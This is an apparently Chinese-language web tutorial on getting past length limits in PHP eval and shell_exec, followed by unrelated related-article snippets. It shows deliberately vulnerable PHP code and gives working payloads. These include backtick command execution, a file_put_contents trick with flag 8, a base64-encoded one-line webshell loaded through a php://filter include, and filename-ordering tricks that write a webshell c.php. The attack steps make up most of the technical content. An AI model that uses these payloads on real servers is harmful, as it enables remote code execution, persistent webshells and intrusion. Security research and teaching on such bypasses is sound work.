Eval绕过限制参数限制
PHP Eval函数参数限制在16个字符
PHP代码
<?php$param = $_REQUEST['param']; if (strlen($param) < 17 && stripos($param, 'eval') === false && stripos($param, 'assert') === false){eval($param);}?># 部署环境属于ubuntu系统
通过GET传参绕过
由于是接收param参数,并且在最后面通过eval执行,所以我们可以控制参数执行一些简单的命令。比如phpinfo();

我们学习过eval是PHP的代码执行方法,并且在Linux系统中是可以通过反引号来执行命令的。所以我们是不是可以通过eval + 反引号 吧代码执行转变为命令执行呢?

我们发现可以这样做,通过echo来输出结果。但是此时如果想写一句话木马就不行了,因为PHP代码中有限制长度。
所以我们是不是可以通过命名一个符合要求的新参数,并且通过GET或者POST传递参数,让eval执行传递的新参数,然后我们通过给新参数定义不同的内容来执行命令,那么不就可以突破长度限制了吗?

由于本地权限不高,我们并不能执行删库跑路代码。

但是由于在本地存在创建文件的权限,所以我们是不是可以在本地写一句话木马文件呢?


文件是可以创建的,所以我们可以在本地写一句话木马文件。
当然除去使用echo打印输出,我们也可以通过exec($_GET[1]);来进行。

用这个方法就可以绕过Eval函数参数限制的情况,利用难度比较低 但是环境要求高。
通过file_put_contents函数写文件绕过
file_put_contents函数
file_put_contents — 将数据写入文件
file_put_contents(string $filename,mixed $data,int $flags = 0,?resource $context = null): int|false
如果 filename 不存在,将会创建文件。反之,存在的文件将会重写,除非设置 FILE_APPEND flag。
| 参数 | 说明 |
|---|---|
| filename | 要被写入数据的文件名。 |
| data | 要写入的数据。类型可以是 string,array 或者是 stream 资源。 |
| flags | flags 的值 |
| context | 一个 context 资源。 |
FLAG内容
| Flag | 描述 |
|---|---|
FILE_USE_INCLUDE_PATH | 在 include 目录里搜索 filename。 |
FILE_APPEND | 如果文件 filename 已经存在,追加数据而不是覆盖。 |
LOCK_EX | 在写入时获取文件独占锁。换句话说,在调用 fopen() 和 fwrite()中间发生了 flock() 调用。这与调用带模式“x”的 fopen() 不同。 |
返回值 该函数将返回写入到文件内数据的字节数,失败时返回false。
通过file_put_contents函数我们可以写一个文件,然后一点点向文件里面添加内容,然后通过执行这个文件不就可以绕过长度的限制吗?
?1=file_put_contents¶m=$_GET[1](N,P,file_append);
此时我们发现,param的内容超过16个字符了。所以被过滤掉了没有生成文件。

我们通过查询官方文档,file_append参数确实是追加啊。也没其他的形式是追加啊。
此时要注意了,因为PHP的底层代码是C语言。所以我们可以去看底层C语言代码是如何写的,通过查看我们发现C语言中追加的参数可以使用" 8 "代替。此时就可以解决长度问题了。
但是还有一个问题,我们发现file_put_contents函数无法追加一些特殊字符。所以我们可以提前内容进行Base64编码传递。
?1=file_put_contents¶m=$_GET[1](N,P,8); Base64编码内容:<?php eval($_POST[9]);Base64编码:PD9waHAgZXZhbCgkX1BPU1RbOV0pOw?1=file_put_contents¶m=$_GET[1](N,D,8); ......# 执行文件?param=include$_GET[1];&1=php://filter/read=convert.b ase64-decode/resource=N读取文件的时候通过PHP的伪协议,通过Base64-decode将文件内容转成正常的一句话来读取内容。然后文件包含直接执行。因为文件包含会将一切内容都转为PHP文件进行执行。从而可以执行:"<?php eval($_POST[9]);"的内容
然后通过服务该文件,传递参数执行命令。

注意
如果遇到文件无法生成的问题,可能是权限不够。查看Nginx目录下html文件夹的所属用户以及所属组是否为www-data。如果不是需要通过chown目录修改文件的所属用户和所属组。
# 语法chown [-R] ownname:groupname filename# -R 表示递归该文件夹下所有内容都所有文件的所属用户和所属组chown -R www-data:www-data html
命令长度限制突破技巧
Linux命令长度限制在7个字符
PHP代码
<?php$param = $_REQUEST['param']; if ( strlen($param) < 8 ) { echo shell_exec($param);}?>
通过重定向写文件绕过
根据之前的经验,我们是不是可以通过一点一点写入问价写来绕过?显然是不可能的收到长度的限制,导致想法实现不了。Linux中可以通过重定向创建文件,并且可以定义文件的名称。如果我们是不是写一堆文件并且通过按照一定的顺序排序,从而将文件名写入到一个新的文件中,最后使用sh执行这个文件不就可以了?
-
ls -t 以创建时间来列出当前目录下所有文件
-
文件列表以[换行符]分割每个文件
-
引入
\转义ls时的换行 -
换行不影响命令执行
-
成功构造任意命令执行,写入Webshell
由于写入webshell中的PHP语句存在特殊字符,所以我们先将语句<?php eval($_GET[1]);通过base64进行编码PD9waHAgZXZhbCgkX0dFVFsxXSk7然后再一个一个慢慢的去上传。

最后通过echo追加文件到创建的c.php文件中以base64解码的形式。
echo PD9waHAgZXZhbCgkX0dFVFsxXSk7| base64 -d> c.php


相关文章:
Eval绕过限制参数限制
PHP Eval函数参数限制在16个字符 PHP代码 <?php$param $_REQUEST[param]; if (strlen($param) < 17 && stripos($param, eval) false && stripos($param, assert) false){eval($param);}?># 部署环境属于ubuntu系统 通过GET传参绕过 由于是…...
计算机网络408考研 2021
2021 计算机网络408考研2021年真题解析_哔哩哔哩_bilibili 1 1 11 1 1 11...
element table表格树形数据展示
element table表格树形数据展示 1、效果 2、代码 <el-table ref"pointMultipleTable" border class"table-box" :data"[damActiveObj]"row-key"id" :tree-props"{ children: children }" :expand-row-keys"expand…...
Ubuntu 安装 Snipaste
一、下载 Snipaste 下载Snipastehttps://zh.snipaste.com/ 二、在/opt 创建 Snipaste 目录,创建 bin 和 icon 子目录,将 Snipaste.AppImage 移动到 bin 目录 三、创建快捷键图标 1. 创建桌面图标,右键→允许运行 yammiemy-pc >/home/y…...
NET8环境WebAPI实现文件的压缩及下载
目录 1、文件下载的原理2、具体实现2.1 提前准备2.2 服务器端的实现2.3 请求端的实现 3、代码下载4、更多特性4.1 单独压缩文件4.2 解析4.2.1 整体解析4.2.2 单个文件解析 4.3 其他4.3.1 设置压缩级别4.3.2 密码保护4.3.3 进度反馈 5、参考资料 1、文件下载的原理 在实际应用环…...
Ubuntu 18 使用NVIDIA上的HDMI输出声音
前言 在未做修改之前,Settings -> Sound -> Output 里面只有 Digital Output(S/PDIF) - Built-in Audio 不显示HDMI的输出设备检查当前存在的音频设备 sudo lspci -v | grep -A7 -i "audio"输出: 从输出可以看出来是有两个设备的 00:1…...
C#模拟量线性变换小程序
1、一步步建立一个C#项目 一步步建立一个C#项目(连续读取S7-1200PLC数据)_s7协议批量读取-CSDN博客文章浏览阅读1.7k次,点赞2次,收藏4次。本文详细介绍了如何使用C#构建一个项目,通过S7net库连接并连续读取S7-1200 PLC的数据,包括创建窗体应用、配置存储位置、安装S7net库…...
跟《经济学人》学英文:2024年08月10日这期 How AI models are getting smarter
How AI models are getting smarter Deep neural networks are learning diffusion and other tricks 原文: Type in a question to ChatGPT and an answer will materialise. Put a prompt into DALL-E 3 and an image will emerge. Click on TikTok’s “for y…...
Spring Web MVC入门(上)
1. Spring Web MVC Spring Web MVC 是基于 Servlet API 构建的原始 Web 框架,从⼀开始就包含在 Spring 框架中。它的正式名称“Spring Web MVC”来⾃其源模块的名称(Spring-webmvc),但它通常被称为“spring MVC”; 什么是Servlet呢? Servlet…...
【c++】公差判断函数 isInTolerance
定义: isInTolerance 函数用来判断一个特定数值(变量)是否在以某个中心值为基准 ,给定半径的范围内。这个函数包含了一个可选的参数 includeEndpoints(默认为 true), 用于决定范围是否包含其端点…...
电脑新加的硬盘如何分区?新加硬盘分区选MBR还是GPT
最近有网友问我,电脑新加的硬盘如何分区?电脑新加的硬盘分区选MBR还是GPT要看引导模式采用uefi还是传统的legacy模式,如果采用的是uefi引导模式,分区类型对应的就是gpt分区(guid),如果引导模式采用的是legacy,对应的分区类型为mb…...
白骑士的Matlab教学基础篇 1.3 控制流
系列目录 上一篇:白骑士的Matlab教学基础篇 1.2 MATLAB基础语法 控制流是编程中的核心概念,通过控制程序执行的顺序,从而实现复杂的逻辑操作。MATLAB 提供了多种控制流语句,包括条件语句、循环语句以及循环控制语句。掌握这些控制…...
设计模式 - 适配器模式
💝💝💝首先,欢迎各位来到我的博客,很高兴能够在这里和您见面!希望您在这里不仅可以有所收获,同时也能感受到一份轻松欢乐的氛围,祝你生活愉快! 文章目录 引言一、适配器…...
docker部署minIO
docker部署minIO 旧版本新版本 旧版本 #-u 以root用户运行容器;--privilegedtrue 给予容器命令访问权限 docker pull minio/minio:RELEASE.2021-06-17T00-10-46Z docker run -p 9001:9000 --name minio -d \-u root --privilegedtrue \-e "MINIO_ROOT_USERmin…...
「Pytorch」BF16 Mixed Precision Training
在深度学习领域,神经网络的训练性能瓶颈常常出现在 GPU显存的使用上。主要表现为两方面: 单卡上可容纳的模型和数据量有限;显存与计算单元之间的带宽和延迟限制了运算速度; 为了解决显卡瓶颈的问题,涌现了不同的解决…...
论文阅读:Efficient Core Maintenance in Large Bipartite Graphs | SIGMOD 2024
还记得我们昨天讨论的《Querying Historical Cohesive Subgraphs over Temporal Bipartite Graphs》这篇论文吗? https://blog.csdn.net/m0_62361730/article/details/141003301 这篇(还没看的快去看) 这篇论文主要研究如何在时间双向图上查询历史凝聚子图,而《E…...
LLMOps — 使用 BentoML 为 Llama-3 模型提供服务
使用 BentoML 和 Runpod 快速设置 LLM API 经常看到数据科学家对 LLM 的开发感兴趣,包括模型架构、训练技术或数据收集。然而,我注意到,很多时候,除了理论方面,许多人在以用户实际使用的方式提供这些模型时遇到了问题…...
微软蓝屏事件揭秘:有问题的数据引发内存读取越界
讲动人的故事,写懂人的代码 CrowdStrike前一阵在官网上发布了上周爆发的全球企业微软蓝屏事件的官方初步复盘结果。其中谈到了这次事件的根本原因: 2024年7月19日,我们部署了两个额外的IPC模板实例。由于内容验证器中的一个bug,使…...
NASA:北极ARCTAS差分吸收激光雷达(DIAL)遥感数据
ARCTAS Differential Absorption Lidar (DIAL) Remotely Sensed Data ARCTAS差分吸收激光雷达(DIAL)遥感数据 简介 ARCTAS差分吸收激光雷达(DIAL)遥感数据是一种远程感测技术,用于测量大气中不同波长的激光辐射被大…...
Android 文件上传与下载
在实际开发涉及文件上传不会自己写上传代码,一般 会集成第三网络库来做图片上传,比如android-async-http,okhttp等,另外还有七牛也提供 了下载和上传的API。 1.项目用到的图片上传的关键方法: 这里用到一个第三方的库…...
云启出海,智联未来|阿里云网络「企业出海」系列客户沙龙上海站圆满落地
借阿里云中企出海大会的东风,以**「云启出海,智联未来|打造安全可靠的出海云网络引擎」为主题的阿里云企业出海客户沙龙云网络&安全专场于5.28日下午在上海顺利举办,现场吸引了来自携程、小红书、米哈游、哔哩哔哩、波克城市、…...
centos 7 部署awstats 网站访问检测
一、基础环境准备(两种安装方式都要做) bash # 安装必要依赖 yum install -y httpd perl mod_perl perl-Time-HiRes perl-DateTime systemctl enable httpd # 设置 Apache 开机自启 systemctl start httpd # 启动 Apache二、安装 AWStats࿰…...
visual studio 2022更改主题为深色
visual studio 2022更改主题为深色 点击visual studio 上方的 工具-> 选项 在选项窗口中,选择 环境 -> 常规 ,将其中的颜色主题改成深色 点击确定,更改完成...
从深圳崛起的“机器之眼”:赴港乐动机器人的万亿赛道赶考路
进入2025年以来,尽管围绕人形机器人、具身智能等机器人赛道的质疑声不断,但全球市场热度依然高涨,入局者持续增加。 以国内市场为例,天眼查专业版数据显示,截至5月底,我国现存在业、存续状态的机器人相关企…...
CentOS下的分布式内存计算Spark环境部署
一、Spark 核心架构与应用场景 1.1 分布式计算引擎的核心优势 Spark 是基于内存的分布式计算框架,相比 MapReduce 具有以下核心优势: 内存计算:数据可常驻内存,迭代计算性能提升 10-100 倍(文档段落:3-79…...
江苏艾立泰跨国资源接力:废料变黄金的绿色供应链革命
在华东塑料包装行业面临限塑令深度调整的背景下,江苏艾立泰以一场跨国资源接力的创新实践,重新定义了绿色供应链的边界。 跨国回收网络:废料变黄金的全球棋局 艾立泰在欧洲、东南亚建立再生塑料回收点,将海外废弃包装箱通过标准…...
VM虚拟机网络配置(ubuntu24桥接模式):配置静态IP
编辑-虚拟网络编辑器-更改设置 选择桥接模式,然后找到相应的网卡(可以查看自己本机的网络连接) windows连接的网络点击查看属性 编辑虚拟机设置更改网络配置,选择刚才配置的桥接模式 静态ip设置: 我用的ubuntu24桌…...
Go 语言并发编程基础:无缓冲与有缓冲通道
在上一章节中,我们了解了 Channel 的基本用法。本章将重点分析 Go 中通道的两种类型 —— 无缓冲通道与有缓冲通道,它们在并发编程中各具特点和应用场景。 一、通道的基本分类 类型定义形式特点无缓冲通道make(chan T)发送和接收都必须准备好࿰…...
Linux 中如何提取压缩文件 ?
Linux 是一种流行的开源操作系统,它提供了许多工具来管理、压缩和解压缩文件。压缩文件有助于节省存储空间,使数据传输更快。本指南将向您展示如何在 Linux 中提取不同类型的压缩文件。 1. Unpacking ZIP Files ZIP 文件是非常常见的,要在 …...
RabbitMQ入门4.1.0版本(基于java、SpringBoot操作)
RabbitMQ 一、RabbitMQ概述 RabbitMQ RabbitMQ最初由LShift和CohesiveFT于2007年开发,后来由Pivotal Software Inc.(现为VMware子公司)接管。RabbitMQ 是一个开源的消息代理和队列服务器,用 Erlang 语言编写。广泛应用于各种分布…...
